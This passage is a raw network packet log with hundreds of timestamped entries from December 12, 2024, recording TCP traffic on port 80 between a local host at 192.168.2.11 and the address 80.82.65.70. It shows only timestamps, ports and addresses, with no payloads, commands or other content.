                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.695342064 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.695357084 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.695398092 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.695768118 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.695998907 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.696074963 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.696111917 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.696171045 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.696753025 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.696858883 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.731571913 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.731702089 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.731844902 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.731844902 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.732007027 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.732027054 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.732091904 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.732775927 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.732850075 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.732877970 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.733151913 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.733583927 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.733704090 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.733784914 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.733953953 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.734354019 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.734478951 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.734484911 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.734525919 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.735100985 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.735161066 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.735218048 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.735266924 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.735889912 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.735950947 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.735999107 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.736067057 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.736681938 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.736824036 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.736867905 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.736867905 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.737463951 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.737524033 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.737565041 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.737888098 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.738246918 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.738311052 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.738331079 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.738373041 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.739017010 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.739084959 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.739150047 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.739809036 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.739927053 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.740008116 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.740354061 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.740569115 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.740659952 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.740962982 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.741347075 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.741410017 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.741473913 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.741615057 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.742152929 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.742221117 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.742285013 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.742558956 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.742914915 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.742969990 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.743032932 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.743403912 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.743711948 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.743861914 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.743912935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.744551897 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.744570971 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.744601965 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.744616985 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.745301962 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.745367050 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.745397091 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.745413065 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.746040106 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.746131897 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.746160030 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.746200085 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.810252905 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.810364008 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.810426950 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.810583115 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.810729980 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.810739040 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.810780048 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.810826063 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.810913086 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.811559916 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.811609983 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.811661959 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.811719894 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.812305927 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.812371969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.812374115 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.812426090 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.812927961 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.812968969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.813014984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.813656092 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.813739061 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.813769102 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.813788891 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.814418077 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.814480066 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.814519882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.814564943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.815200090 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.815310001 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.815346956 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.815696001 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.816059113 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.816113949 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.816231966 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.816291094 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.816786051 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.816826105 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.816829920 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.816875935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.817596912 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.817616940 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.817677021 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.818454027 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.818526030 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.818586111 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.818761110 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.819384098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.819508076 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.819546938 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.819612026 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.819901943 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.819972038 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.820022106 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.820568085 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.820745945 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.820799112 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.820805073 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.820883989 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.821512938 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.821569920 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.821587086 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.821625948 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.822241068 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.822299957 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.822307110 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.822338104 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.823061943 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.823084116 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.823128939 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.823874950 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.823941946 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.823944092 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.823990107 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.824579954 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.824629068 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.824685097 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.824738979 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.825380087 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.825396061 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.825449944 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.826147079 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.826194048 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.826210022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.826263905 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.826917887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.826983929 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.827008963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.827100992 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.827738047 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.827789068 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.827831030 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.827877998 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.828493118 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.828546047 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.828577042 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.828634977 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.829293966 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.829345942 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.829417944 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.829479933 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.830075979 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.830126047 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.830174923 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.830190897 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.830842972 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.830899954 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.830940008 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.831051111 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.831713915 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.831759930 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.831784010 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.831798077 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.832458973 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.832524061 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.832556009 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.832755089 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.887058020 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.887175083 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.887404919 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.887504101 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.887568951 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.887583017 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.887649059 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.888082027 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.888420105 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.888423920 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.888441086 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.888480902 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.923909903 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.924081087 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.924115896 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.924140930 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.924457073 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.924508095 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.924556017 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.924645901 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.924742937 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.924796104 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.925261974 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.925313950 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.925432920 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.925484896 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.926234961 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.926399946 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.926461935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.927052021 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.927243948 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.927304983 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.927797079 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.927879095 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.927944899 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.928560972 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.928626060 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.928704023 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.928755045 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.929349899 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.929456949 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.929527998 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.929567099 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.930217981 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.930238962 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.930293083 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.930855989 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.931040049 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.931104898 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.931703091 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.931723118 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.931786060 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.932411909 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.932569981 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.932679892 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.933233976 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.933423042 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.933480978 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.934052944 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.934159994 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.934240103 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.934402943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.934710979 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.934899092 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.934905052 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.935518980 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.935584068 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.935605049 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.935661077 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.935882092 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.935986996 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.936170101 CET4981980192.168.2.1180.82.65.70
